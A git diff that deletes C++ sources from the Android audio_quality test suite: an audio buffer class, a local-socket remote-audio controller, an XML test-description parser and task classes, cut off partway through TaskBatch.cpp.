diff --git a/suite/audio_quality/lib/src/audio/Buffer.cpp b/suite/audio_quality/lib/src/audio/Buffer.cpp
deleted file mode 100644
index cd4406f..0000000
--- a/suite/audio_quality/lib/src/audio/Buffer.cpp
+++ /dev/null
@@ -1,150 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <stdint.h>
-#include <iostream>
-#include <fstream>
-#include <utils/String8.h>
-#include "Log.h"
-#include "StringUtil.h"
-#include "audio/Buffer.h"
-
-Buffer::Buffer(size_t capacity, size_t size, bool stereo)
-    : mCapacity(capacity),
-      mSize(size),
-      mHandled(0),
-      mStereo(stereo)
-{
-    mData = new char[capacity];
-    //LOGV("Buffer %d data %x", capacity, (unsigned int)mData);
-    // assume 4bytes alignment
-    ASSERT(((long)mData & 0x3) == 0);
-    // filling with zero just to make valgrind happy.
-    // Otherwise, valgrind will complain about uninitialized data for all captured data
-    memset(mData, 0, capacity);
-};
-
-Buffer::~Buffer()
-{
-    delete[] mData;
-    //LOGV("~Buffer %d", mCapacity);
-}
-
-void Buffer::changeToMono(ConvertOption option)
-{
-    size_t newSize = mSize/2;
-    int16_t* data = reinterpret_cast<int16_t*>(mData);
-    if (option == EKeepCh0) {
-        for (size_t i = 0; i < newSize/2; i++) { //16bpp only
-            int16_t l = data[i * 2];
-            data[i] = l;
-        }
-    } else if (option == EKeepCh1) {
-        for (size_t i = 0; i < newSize/2; i++) { //16bpp only
-            int16_t r = data[i * 2 + 1];
-            data[i] = r;
-        }
-    } else { // average
-        for (size_t i = 0; i < newSize/2; i++) { //16bpp only
-            int16_t l = data[i * 2];
-            int16_t r = data[i * 2 + 1];
-            int16_t avr = (int16_t)(((int32_t)l + (int32_t)r)/2);
-            data[i] = avr;
-        }
-    }
-    mSize = newSize;
-    mHandled /= 2;
-    mStereo = false;
-}
-
-bool Buffer::changeToStereo()
-{
-    //TODO ChangeToStereo
-    return false;
-}
-
-const char* EXTENSION_S16_STEREO = ".r2s";
-const char* EXTENSION_S16_MONO = ".r2m";
-Buffer* Buffer::loadFromFile(const android::String8& filename)
-{
-    bool stereo;
-    if (StringUtil::endsWith(filename, EXTENSION_S16_STEREO)) {
-        stereo = true;
-    } else if (StringUtil::endsWith(filename, EXTENSION_S16_MONO)) {
-        stereo = false;
-    } else {
-        LOGE("Buffer::loadFromFile specified file %s has unknown extension.", filename.string());
-        return NULL;
-    }
-    std::ifstream file(filename.string(),  std::ios::in | std::ios::binary |
-            std::ios::ate);
-    if (!file.is_open()) {
-        LOGE("Buffer::loadFromFile cannot open file %s.", filename.string());
-        return NULL;
-    }
-    size_t size = file.tellg();
-    Buffer* buffer = new Buffer(size, size, stereo);
-    if (buffer == NULL) {
-        return NULL;
-    }
-    file.seekg(0, std::ios::beg);
-    file.read(buffer->mData, size); //TODO handle read error
-    file.close();
-    return buffer;
-}
-
-bool Buffer::saveToFile(const android::String8& filename)
-{
-    android::String8 filenameWithExtension(filename);
-    if (isStereo()) {
-        filenameWithExtension.append(EXTENSION_S16_STEREO);
-    } else {
-        filenameWithExtension.append(EXTENSION_S16_MONO);
-    }
-    std::ofstream file(filenameWithExtension.string(),  std::ios::out | std::ios::binary |
-            std::ios::trunc);
-    if (!file.is_open()) {
-        LOGE("Buffer::saveToFile cannot create file %s.",
-                filenameWithExtension.string());
-        return false;
-    }
-    file.write(mData, mSize);
-    bool writeOK = true;
-    if (file.rdstate() != std::ios_base::goodbit) {
-        LOGE("Got error while writing file %s %x", filenameWithExtension.string(), file.rdstate());
-        writeOK = false;
-    }
-    file.close();
-    return writeOK;
-}
-
-bool Buffer::operator == (const Buffer& b) const
-{
-    if (mStereo != b.mStereo) {
-        LOGD("stereo mismatch %d %d", mStereo, b.mStereo);
-        return false;
-    }
-    if (mSize != b.mSize) {
-        LOGD("size mismatch %d %d", mSize, b.mSize);
-        return false;
-    }
-    for (size_t i = 0; i < mSize; i++) {
-        if (mData[i] != b.mData[i]) {
-            LOGD("%d %x vs %x", i, mData[i], b.mData[i]);
-            return false;
-        }
-    }
-    return true;
-}
diff --git a/suite/audio_quality/lib/src/audio/RemoteAudio.cpp b/suite/audio_quality/lib/src/audio/RemoteAudio.cpp
deleted file mode 100644
index 56758fb..0000000
--- a/suite/audio_quality/lib/src/audio/RemoteAudio.cpp
+++ /dev/null
@@ -1,365 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <arpa/inet.h>
-#include <strings.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-
-#include <utils/Looper.h>
-
-#include "Log.h"
-#include "audio/AudioProtocol.h"
-#include "audio/RemoteAudio.h"
-
-
-RemoteAudio::RemoteAudio(ClientSocket& socket)
-    : mExitRequested(false),
-      mSocket(socket),
-      mDownloadHandler(new CommandHandler(*this, (int)AudioProtocol::ECmdDownload)),
-      mPlaybackHandler(new CommandHandler(*this, (int)AudioProtocol::ECmdStartPlayback)),
-      mRecordingHandler(new CommandHandler(*this, (int)AudioProtocol::ECmdStartRecording)),
-      mDeviceInfoHandler(new CommandHandler(*this, (int)AudioProtocol::ECmdGetDeviceInfo)),
-      mDownloadId(0)
-{
-    mCmds[AudioProtocol::ECmdDownload - AudioProtocol::ECmdStart] = new CmdDownload(socket);
-    mCmds[AudioProtocol::ECmdStartPlayback - AudioProtocol::ECmdStart] =
-            new CmdStartPlayback(socket);
-    mCmds[AudioProtocol::ECmdStopPlayback - AudioProtocol::ECmdStart] =
-            new CmdStopPlayback(socket);
-    mCmds[AudioProtocol::ECmdStartRecording - AudioProtocol::ECmdStart] =
-            new CmdStartRecording(socket);
-    mCmds[AudioProtocol::ECmdStopRecording - AudioProtocol::ECmdStart] =
-            new CmdStopRecording(socket);
-    mCmds[AudioProtocol::ECmdGetDeviceInfo - AudioProtocol::ECmdStart] =
-                new CmdGetDeviceInfo(socket);
-}
-
-RemoteAudio::~RemoteAudio()
-{
-    for (int i = 0; i < (AudioProtocol::ECmdLast - AudioProtocol::ECmdStart); i++) {
-        delete mCmds[i];
-    }
-    //mBufferList.clear();
-}
-
-bool RemoteAudio::init(int port)
-{
-    mPort = port;
-    if (run("RemoteAudio") != android::NO_ERROR) {
-        LOGE("RemoteAudio cannot run");
-        // cannot run thread
-        return false;
-    }
-
-    if (!mInitWait.timedWait(CLIENT_WAIT_TIMEOUT_MSEC)) {
-        return false;
-    }
-    return mInitResult;
-}
-
-bool RemoteAudio::threadLoop()
-{
-    // initial action until socket connection done by init
-    mLooper = new android::Looper(false);
-    if (mLooper.get() == NULL) {
-        wakeClient(false);
-        return false;
-    }
-    android::Looper::setForThread(mLooper);
-
-    if (!mSocket.init("127.0.0.1", mPort)) {
-        wakeClient(false);
-        return false;
-    }
-    LOGD("adding fd %d to polling", mSocket.getFD());
-    mLooper->addFd(mSocket.getFD(), EIdSocket, android::Looper::EVENT_INPUT, socketRxCallback, this);
-    wakeClient(true);
-    while(!mExitRequested) {
-        mLooper->pollOnce(10000);
-    }
-    return false; // exit without requestExit()
-}
-
-void RemoteAudio::wakeClient(bool result)
-{
-    mInitResult = result;
-    mInitWait.post();
-}
-
-bool RemoteAudio::handlePacket()
-{
-    uint32_t data[AudioProtocol::REPLY_HEADER_SIZE/sizeof(uint32_t)];
-    AudioProtocol::CommandId id;
-    if (!AudioProtocol::handleReplyHeader(mSocket, data, id)) {
-        return false;
-    }
-    CommandHandler* handler = NULL;
-    if (id == AudioProtocol::ECmdDownload) {
-        handler = reinterpret_cast<CommandHandler*>(mDownloadHandler.get());
-    } else if (id == AudioProtocol::ECmdStartPlayback) {
-        handler = reinterpret_cast<CommandHandler*>(mPlaybackHandler.get());
-    } else if (id == AudioProtocol::ECmdStartRecording) {
-        handler = reinterpret_cast<CommandHandler*>(mRecordingHandler.get());
-    } else if (id == AudioProtocol::ECmdGetDeviceInfo) {
-        handler = reinterpret_cast<CommandHandler*>(mDeviceInfoHandler.get());
-    }
-    AudioParam* param = NULL;
-    if (handler != NULL) {
-        param = &(handler->getParam());
-    }
-    bool result = mCmds[id - AudioProtocol::ECmdStart]->handleReply(data, param);
-    if (handler != NULL) {
-        LOGD("handler present. Notify client");
-        android::Mutex::Autolock lock(handler->mStateLock);
-        if (handler->mNotifyOnReply) {
-            handler->mNotifyOnReply = false;
-            handler->mResult = result;
-            handler->mClientWait.post();
-        }
-        handler->mActive = false;
-    }
-    return result;
-}
-
-int RemoteAudio::socketRxCallback(int fd, int events, void* data)
-{
-    RemoteAudio* self = reinterpret_cast<RemoteAudio*>(data);
-    if (events & android::Looper::EVENT_INPUT) {
-        //LOGD("socketRxCallback input");
-        if (!self->handlePacket()) { //error, stop polling
-            LOGE("socketRxCallback, error in packet, stopping polling");
-            return 0;
-        }
-    }
-    return 1;
-}
-
-void RemoteAudio::sendCommand(android::sp<android::MessageHandler>& command)
-{
-    mLooper->sendMessage(command, toCommandHandler(command)->getMessage());
-}
-
-bool RemoteAudio::waitForCompletion(android::sp<android::MessageHandler>& command, int timeInMSec)
-{
-    LOGV("waitForCompletion %d", timeInMSec);
-    return toCommandHandler(command)->timedWait(timeInMSec);
-}
-
-bool RemoteAudio::waitForPlaybackOrRecordingCompletion(
-        android::sp<android::MessageHandler>& commandHandler)
-{
-    CommandHandler* handler = reinterpret_cast<CommandHandler*>(commandHandler.get());
-    handler->mStateLock.lock();
-    if(!handler->mActive) {
-        handler->mStateLock.unlock();
-        return true;
-    }
-    int runTime = handler->getParam().mBuffer->getSize() /
-            (handler->getParam().mStereo ? 4 : 2) * 1000 / handler->getParam().mSamplingF;
-    handler->mNotifyOnReply = true;
-    handler->mStateLock.unlock();
-    return waitForCompletion(commandHandler, runTime + CLIENT_WAIT_TIMEOUT_MSEC);
-}
-
-void RemoteAudio::doStop(android::sp<android::MessageHandler>& commandHandler,
-        AudioProtocol::CommandId id)
-{
-    CommandHandler* handler = reinterpret_cast<CommandHandler*>(commandHandler.get());
-    handler->mStateLock.lock();
-    if (!handler->mActive) {
-        handler->mStateLock.unlock();
-       return;
-    }
-    handler->mActive = false;
-    handler->mNotifyOnReply = false;
-    handler->mStateLock.unlock();
-    android::sp<android::MessageHandler> command(new CommandHandler(*this, (int)id));
-    sendCommand(command);
-    waitForCompletion(command, CLIENT_WAIT_TIMEOUT_MSEC);
-}
-
-
-bool RemoteAudio::downloadData(const android::String8& name, android::sp<Buffer>& buffer, int& id)
-{
-    CommandHandler* handler = reinterpret_cast<CommandHandler*>(mDownloadHandler.get());
-    id = mDownloadId;
-    mDownloadId++;
-    handler->mStateLock.lock();
-    handler->getParam().mId = id;
-    handler->getParam().mBuffer = buffer;
-    handler->mNotifyOnReply = true;
-    handler->mStateLock.unlock();
-    sendCommand(mDownloadHandler);
-
-    // assume 1Mbps ==> 1000 bits per msec ==> 125 bytes per msec
-    int maxWaitTime = CLIENT_WAIT_TIMEOUT_MSEC + buffer->getSize() / 125;
-    // client blocked until reply comes from DUT
-    if (!waitForCompletion(mDownloadHandler, maxWaitTime)) {
-        LOGE("timeout");
-        return false;
-    }
-    mBufferList[id] = buffer;
-    mIdMap[name] = id;
-    return handler->mResult;
-}
-
-int RemoteAudio::getDataId(const android::String8& name)
-{
-    std::map<android::String8, int>::iterator it;
-    it = mIdMap.find(name);
-    if (it == mIdMap.end()) {
-        LOGE("Buffer name %s not registered", name.string());
-        return -1;
-    }
-    return it->second;
-}
-
-bool RemoteAudio::startPlayback(bool stereo, int samplingF, int mode, int volume,
-        int id, int numberRepetition)
-{
-    CommandHandler* handler = reinterpret_cast<CommandHandler*>(mPlaybackHandler.get());
-    handler->mStateLock.lock();
-    if (handler->mActive) {
-        LOGE("busy");
-        handler->mStateLock.unlock();
-        return false;
-    }
-    std::map<int, android::sp<Buffer> >::iterator it;
-    it = mBufferList.find(id);
-    if (it == mBufferList.end()) {
-        LOGE("Buffer id %d not registered", id);
-        return false;
-    }
-    LOGD("RemoteAudio::startPlayback stereo %d mode %d", stereo, mode);
-    handler->mActive = true;
-    handler->getParam().mStereo = stereo;
-    handler->getParam().mSamplingF = samplingF;
-    handler->getParam().mMode = mode;
-    handler->getParam().mVolume = volume;
-    handler->getParam().mId = id;
-    // for internal tracking
-    handler->getParam().mBuffer = it->second;
-    handler->getParam().mNumberRepetition = numberRepetition;
-    handler->mStateLock.unlock();
-    sendCommand(mPlaybackHandler);
-    if (!waitForCompletion(mPlaybackHandler, CLIENT_WAIT_TIMEOUT_MSEC)) {
-        LOGE("timeout");
-        return false;
-    }
-    return handler->mResult;
-}
-
-void RemoteAudio::stopPlayback()
-{
-    doStop(mPlaybackHandler, AudioProtocol::ECmdStopPlayback);
-}
-
-bool RemoteAudio::waitForPlaybackCompletion()
-{
-    return waitForPlaybackOrRecordingCompletion(mPlaybackHandler);
-}
-
-bool RemoteAudio::startRecording(bool stereo, int samplingF, int mode, int volume,
-        android::sp<Buffer>& buffer)
-{
-    CommandHandler* handler = reinterpret_cast<CommandHandler*>(mRecordingHandler.get());
-    handler->mStateLock.lock();
-    if (handler->mActive) {
-        LOGE("busy");
-        handler->mStateLock.unlock();
-        return false;
-    }
-    handler->mActive = true;
-    handler->getParam().mStereo = stereo;
-    handler->getParam().mSamplingF = samplingF;
-    handler->getParam().mMode = mode;
-    handler->getParam().mVolume = volume;
-    handler->getParam().mBuffer = buffer;
-    handler->mStateLock.unlock();
-    sendCommand(mRecordingHandler);
-    if (!waitForCompletion(mRecordingHandler, CLIENT_WAIT_TIMEOUT_MSEC)) {
-        LOGE("timeout");
-        return false;
-    }
-    return handler->mResult;
-}
-
-bool RemoteAudio::waitForRecordingCompletion()
-{
-    return waitForPlaybackOrRecordingCompletion(mRecordingHandler);
-}
-
-void RemoteAudio::stopRecording()
-{
-    doStop(mRecordingHandler, AudioProtocol::ECmdStopRecording);
-}
-
-bool RemoteAudio::getDeviceInfo(android::String8& data)
-{
-    CommandHandler* handler = reinterpret_cast<CommandHandler*>(mDeviceInfoHandler.get());
-    handler->mStateLock.lock();
-    handler->mNotifyOnReply = true;
-    handler->getParam().mExtra = &data;
-    handler->mStateLock.unlock();
-    sendCommand(mDeviceInfoHandler);
-
-    // client blocked until reply comes from DUT
-    if (!waitForCompletion(mDeviceInfoHandler, CLIENT_WAIT_TIMEOUT_MSEC)) {
-        LOGE("timeout");
-        return false;
-    }
-    return handler->mResult;
-}
-
-/** should be called before RemoteAudio is destroyed */
-void RemoteAudio::release()
-{
-    android::sp<android::MessageHandler> command(new CommandHandler(*this, CommandHandler::EExit));
-    sendCommand(command);
-    join(); // wait for exit
-    mSocket.release();
-}
-
-void RemoteAudio::CommandHandler::handleMessage(const android::Message& message)
-{
-    switch(message.what) {
-    case EExit:
-        LOGD("thread exit requested, will exit ");
-        mResult = true;
-        mThread.mExitRequested = true;
-        mClientWait.post(); // client will not wait, but just do it.
-        break;
-    case AudioProtocol::ECmdDownload:
-    case AudioProtocol::ECmdStartPlayback:
-    case AudioProtocol::ECmdStopPlayback:
-    case AudioProtocol::ECmdStartRecording:
-    case AudioProtocol::ECmdStopRecording:
-    case AudioProtocol::ECmdGetDeviceInfo:
-    {
-        mResult = (mThread.mCmds[message.what - AudioProtocol::ECmdStart]) \
-                ->sendCommand(mParam);
-        // no post for download and getdeviceinfo. Client blocked until reply comes with time-out
-        if ((message.what != AudioProtocol::ECmdDownload) &&
-            (message.what != AudioProtocol::ECmdGetDeviceInfo)    ) {
-            mClientWait.post();
-        }
-
-    }
-        break;
-
-    }
-}
diff --git a/suite/audio_quality/lib/src/task/ModelBuilder.cpp b/suite/audio_quality/lib/src/task/ModelBuilder.cpp
deleted file mode 100644
index f1a506b..0000000
--- a/suite/audio_quality/lib/src/task/ModelBuilder.cpp
+++ /dev/null
@@ -1,268 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <tinyxml2.h>
-
-#include <memory>
-
-#include "Log.h"
-#include "GenericFactory.h"
-#include "task/ModelBuilder.h"
-
-using namespace tinyxml2;
-
-static const int MAX_NO_CHILDREN = 8;
-static const ModelBuilder::ChildInfo CASE_TABLE[] = {
-    { TaskGeneric::ETaskSetup, true },
-    { TaskGeneric::ETaskAction, true },
-    { TaskGeneric::ETaskSave, false }
-};
-static const ModelBuilder::ChildInfo SETUP_TABLE[] = {
-    { TaskGeneric::ETaskSound, false },
-    { TaskGeneric::ETaskProcess, false },
-    { TaskGeneric::ETaskDownload, false }
-};
-static const ModelBuilder::ChildInfo ACTION_TABLE[] = {
-    { TaskGeneric::ETaskSequential, true }
-};
-static const ModelBuilder::ChildInfo SEQUENTIAL_TABLE[] = {
-    { TaskGeneric::ETaskSequential, false },
-    { TaskGeneric::ETaskInput, false },
-    { TaskGeneric::ETaskOutput, false },
-    { TaskGeneric::ETaskProcess, false },
-    { TaskGeneric::ETaskMessage, false }
-};
-
-
-ModelBuilder::ParsingInfo ModelBuilder::mParsingTable[ModelBuilder::PARSING_TABLE_SIZE] = {
-    { "case", TaskGeneric::ETaskCase, CASE_TABLE,
-            sizeof(CASE_TABLE)/sizeof(ModelBuilder::ChildInfo) },
-    { "setup", TaskGeneric::ETaskSetup, SETUP_TABLE,
-            sizeof(SETUP_TABLE)/sizeof(ModelBuilder::ChildInfo) },
-    { "action", TaskGeneric::ETaskAction, ACTION_TABLE,
-            sizeof(ACTION_TABLE)/sizeof(ModelBuilder::ChildInfo) },
-    { "sequential", TaskGeneric::ETaskSequential, SEQUENTIAL_TABLE,
-                sizeof(SEQUENTIAL_TABLE)/sizeof(ModelBuilder::ChildInfo) },
-    { "process", TaskGeneric::ETaskProcess, NULL, 0 },
-    { "input", TaskGeneric::ETaskInput, NULL, 0 },
-    { "output", TaskGeneric::ETaskOutput, NULL, 0 },
-    { "sound", TaskGeneric::ETaskSound, NULL, 0 },
-    { "save", TaskGeneric::ETaskSave, NULL, 0 },
-    { "message", TaskGeneric::ETaskMessage, NULL, 0 },
-    { "download", TaskGeneric::ETaskDownload, NULL, 0 }
-};
-
-
-ModelBuilder::ModelBuilder()
-    : mFactory(new GenericFactory())
-{
-
-}
-
-ModelBuilder::ModelBuilder(GenericFactory* factory)
-    : mFactory(factory)
-{
-
-}
-ModelBuilder::~ModelBuilder()
-{
-    delete mFactory;
-}
-
-TaskGeneric* ModelBuilder::parseTestDescriptionXml(const android::String8& xmlFileName,
-        bool caseOnly)
-{
-    XMLDocument doc;
-    int error = doc.LoadFile(xmlFileName.string());
-    if (error != XML_SUCCESS) {
-        LOGE("ModelBuilder::parseTestDescriptionXml cannot load file %s: %d", xmlFileName.string(), error);
-        return NULL;
-    }
-    const XMLElement* root;
-    if ((root = doc.FirstChildElement("case")) != NULL) {
-        return parseCase(*root);
-    } else if (!caseOnly && ((root = doc.FirstChildElement("batch")) != NULL)) {
-        return parseBatch(*root, xmlFileName);
-    } else {
-        LOGE("ModelBuilder::parseTestDescriptionXml wrong root element");
-        return NULL;
-    }
-}
-
-TaskGeneric* ModelBuilder::parseGeneric(const XMLElement& self, int tableIndex)
-{
-    TaskGeneric::TaskType typeSelf(mParsingTable[tableIndex].type);
-    int Nchildren = mParsingTable[tableIndex].Nchildren;
-    std::unique_ptr<TaskGeneric> taskSelf(mFactory->createTask(typeSelf));
-    if (taskSelf.get() == NULL) {
-        return NULL;
-    }
-    if (!parseAttributes(self, *taskSelf.get())) {
-        return NULL;
-    }
-    // copy mandatory flags, and will be cleared once the item is found
-    bool mandatoryAbsence[MAX_NO_CHILDREN];
-    const ModelBuilder::ChildInfo* childTable = mParsingTable[tableIndex].allowedChildren;
-    for (int i = 0; i < Nchildren; i++) {
-        mandatoryAbsence[i] = childTable[i].mandatory;
-    }
-
-    // handle children
-    const XMLElement* child = self.FirstChildElement();
-    while (child != NULL) {
-        TaskGeneric::TaskType childType(TaskGeneric::ETaskInvalid);
-        int i;
-        // check if type is valid
-        for (i = 0; i < PARSING_TABLE_SIZE; i++) {
-            if (strcmp(child->Value(), mParsingTable[i].name) == 0) {
-                break;
-            }
-        }
-        if (i == PARSING_TABLE_SIZE) {
-            LOGE("ModelBuilder::parseGeneric unknown element %s", child->Value());
-            return NULL;
-        }
-        childType = mParsingTable[i].type;
-        int j;
-        // check if the type is allowed as child
-        for (j = 0; j < Nchildren; j++) {
-            if (childTable[j].type == childType) {
-                if (childTable[j].mandatory) {
-                    mandatoryAbsence[j] = false;
-                }
-                break;
-            }
-        }
-        if (j == Nchildren) {
-            LOGE("ModelBuilder::parseGeneric unsupported child type %d for type %d", childType,
-                    typeSelf);
-            return NULL;
-        }
-        std::unique_ptr<TaskGeneric> taskChild(parseGeneric(*child, i));
-        if (taskChild.get() == NULL) {
-            LOGE("ModelBuilder::parseGeneric failed in parsing child type %d for type %d",
-                    childType, typeSelf);
-            return NULL;
-        }
-        if (!taskSelf.get()->addChild(taskChild.get())) {
-            LOGE("ModelBuilder::parseGeneric cannot add child type %d to type %d", childType,
-                    typeSelf);
-            return NULL;
-        }
-        TaskGeneric* donotuse = taskChild.release();
-
-        child = child->NextSiblingElement();
-    }
-    for (int i = 0; i < Nchildren; i++) {
-        if (mandatoryAbsence[i]) {
-            LOGE("ModelBuilder::parseGeneric mandatory child type %d not present in type %d",
-                    childTable[i].type, typeSelf);
-            return NULL;
-        }
-    }
-
-    return taskSelf.release();
-}
-
-
-TaskCase* ModelBuilder::parseCase(const XMLElement& root)
-{
-    // position 0 of mParsingTable should be "case"
-    return reinterpret_cast<TaskCase*>(parseGeneric(root, 0));
-}
-
-
-TaskBatch* ModelBuilder::parseBatch(const XMLElement& root, const android::String8& xmlFileName)
-{
-    std::unique_ptr<TaskBatch> batch(
-            reinterpret_cast<TaskBatch*>(mFactory->createTask(TaskGeneric::ETaskBatch)));
-    if (batch.get() == NULL) {
-        LOGE("ModelBuilder::handleBatch cannot create TaskBatch");
-        return NULL;
-    }
-    if (!parseAttributes(root, *batch.get())) {
-        return NULL;
-    }
-
-    const XMLElement* inc = root.FirstChildElement("include");
-    if (inc == NULL) {
-        LOGE("ModelBuilder::handleBatch no include inside batch");
-        return NULL;
-    }
-    android::String8 path = xmlFileName.getPathDir();
-
-    std::unique_ptr<TaskCase> testCase;
-    int i = 0;
-    while (1) {
-        if (inc == NULL) {
-            break;
-        }
-        if (strcmp(inc->Value(),"include") != 0) {
-            LOGE("ModelBuilder::handleBatch invalid element %s", inc->Value());
-        }
-        testCase.reset(parseInclude(*inc, path));
-        if (testCase.get() == NULL) {
-            LOGE("ModelBuilder::handleBatch cannot create test case from include");
-            return NULL;
-        }
-        if (!batch.get()->addChild(testCase.get())) {
-            return NULL;
-        }
-        TaskGeneric* donotuse = testCase.release(); // parent will take care of destruction.
-        inc = inc->NextSiblingElement();
-        i++;
-    }
-    if (i == 0) {
-        // at least one include should exist.
-        LOGE("ModelBuilder::handleBatch no include elements");
-        return NULL;
-    }
-
-    return batch.release();
-}
-
-TaskCase* ModelBuilder::parseInclude(const XMLElement& elem, const android::String8& path)
-{
-    const char* fileName = elem.Attribute("file");
-    if (fileName == NULL) {
-        LOGE("ModelBuilder::handleBatch no include elements");
-        return NULL;
-    }
-    android::String8 incFile = path;
-    incFile.appendPath(fileName);
-
-    // again no dynamic_cast intentionally
-    return reinterpret_cast<TaskCase*>(parseTestDescriptionXml(incFile, true));
-}
-
-bool ModelBuilder::parseAttributes(const XMLElement& elem, TaskGeneric& task)
-{
-    const XMLAttribute* attr = elem.FirstAttribute();
-    while (1) {
-        if (attr == NULL) {
-            break;
-        }
-        android::String8 name(attr->Name());
-        android::String8 value(attr->Value());
-        if (!task.parseAttribute(name, value)) {
-            LOGE("ModelBuilder::parseAttributes cannot parse attribute %s:%s for task type %d",
-                    attr->Name(), attr->Value(), task.getType());
-            return false;
-        }
-        attr = attr->Next();
-    }
-    return true;
-}
diff --git a/suite/audio_quality/lib/src/task/TaskAsync.cpp b/suite/audio_quality/lib/src/task/TaskAsync.cpp
deleted file mode 100644
index 4121a5e..0000000
--- a/suite/audio_quality/lib/src/task/TaskAsync.cpp
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <stdlib.h>
-#include "Log.h"
-#include "StringUtil.h"
-#include "task/TaskAll.h"
-
-TaskAsync::TaskAsync(TaskType type)
-    : TaskGeneric(type),
-      mVolume(-1),
-      mDeviceType(EDeviceHost),
-      mMode(AudioHardware::EModeVoice),
-      mAsynchronous(false)
-{
-    // nothing to do
-}
-
-TaskAsync::~TaskAsync()
-{
-
-}
-
-TaskGeneric::ExecutionResult TaskAsync::run()
-{
-    // id is mandatory
-    if (mId.length() == 0) {
-        LOGE(" TaskAsync::run no id attribute");
-        return TaskGeneric::EResultError;
-    }
-    TaskGeneric::ExecutionResult result = start();
-    if (result == TaskGeneric::EResultOK) {
-        if (!isAsynchronous()) {
-            return complete();
-        } else {
-            if (!getParentSequential()->queueAsyncTask(const_cast<TaskAsync*>(this))) {
-                LOGE("TaskAsync::run queueAsyncTask failed");
-                return TaskGeneric::EResultError;
-            }
-        }
-    }
-    return result;
-}
-
-bool TaskAsync::parseAttribute(const android::String8& name, const android::String8& value)
-{
-    bool result = true;
-    if (StringUtil::compare(name, "id") == 0) {
-        mId.append(value);
-    } else if (StringUtil::compare(name, "gain") == 0) {
-        mVolume = atoi(value.string());
-        if ((mVolume < 1) || (mVolume > 100)) {
-            LOGE("TaskGeneric::parseAttribute gain out of range %d", mVolume);
-            return false;
-        }
-    } else if (StringUtil::compare(name, "sync") == 0) {
-        if (StringUtil::compare(value, "start") == 0) { // async
-            makeAsynchronous();
-        }
-    } else if (StringUtil::compare(name, "device") == 0) {
-        if (StringUtil::compare(value, "host") == 0) {
-            mDeviceType = EDeviceHost;
-        } else if (StringUtil::compare(value, "DUT") == 0) {
-            mDeviceType = EDeviceDUT;
-        } else {
-            return false;
-        }
-    } else if (StringUtil::compare(name, "mode") == 0) {
-            if (StringUtil::compare(value, "voice") == 0) {
-                mMode = AudioHardware::EModeVoice;
-            } else if (StringUtil::compare(value, "music") == 0) {
-                mMode = AudioHardware::EModeMusic;
-            } else {
-                return false;
-            }
-    } else {
-        result = TaskGeneric::parseAttribute(name, value);
-    }
-    return result;
-}
-
-TaskSequential* TaskAsync::getParentSequential()
-{
-    ASSERT(getParent()->getType() == TaskGeneric::ETaskSequential);
-    return reinterpret_cast<TaskSequential*>(getParent());
-}
-
diff --git a/suite/audio_quality/lib/src/task/TaskBatch.cpp b/suite/audio_quality/lib/src/task/TaskBatch.cpp
deleted file mode 100644
index 70499fc..0000000
--- a/suite/audio_quality/lib/src/task/TaskBatch.cpp
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "Log.h"
-#include "Report.h"
-
-#include "task/TaskBatch.h"
-
-static const android::String8 STR_NAME("name");
-static const android::String8 STR_VERSION("version");
-static const android::String8 STR_DESCRIPTION("description");
-
-TaskBatch::TaskBatch()
-    :TaskGeneric(TaskGeneric::ETaskBatch)
-{
-    const android::String8* list[] = {&STR_NAME, &STR_VERSION, &STR_DESCRIPTION, NULL};
-    registerSupportedStringAttributes(list);
-}
-
-TaskBatch::~TaskBatch()
-{
-
-}
-
-bool TaskBatch::addChild(TaskGeneric* child)
-{
-    if (child->getType() != TaskGeneric::ETaskCase) {
-        LOGE("TaskBatch::addChild wrong child type %d", child->getType());
-        return false;
-    }
-    return TaskGeneric::addChild(child);
-}
-
-bool runAlways(TaskGeneric* child, void* data)
-{
-    child->run();
-    return true;
-}
-
-TaskGeneric::ExecutionResult TaskBatch::run()
-{
-    android::String8 name;
-    android::String8 version;
-
-    if (!findStringAttribute(STR_NAME, name) || !findStringAttribute(STR_VERSION, version)) {
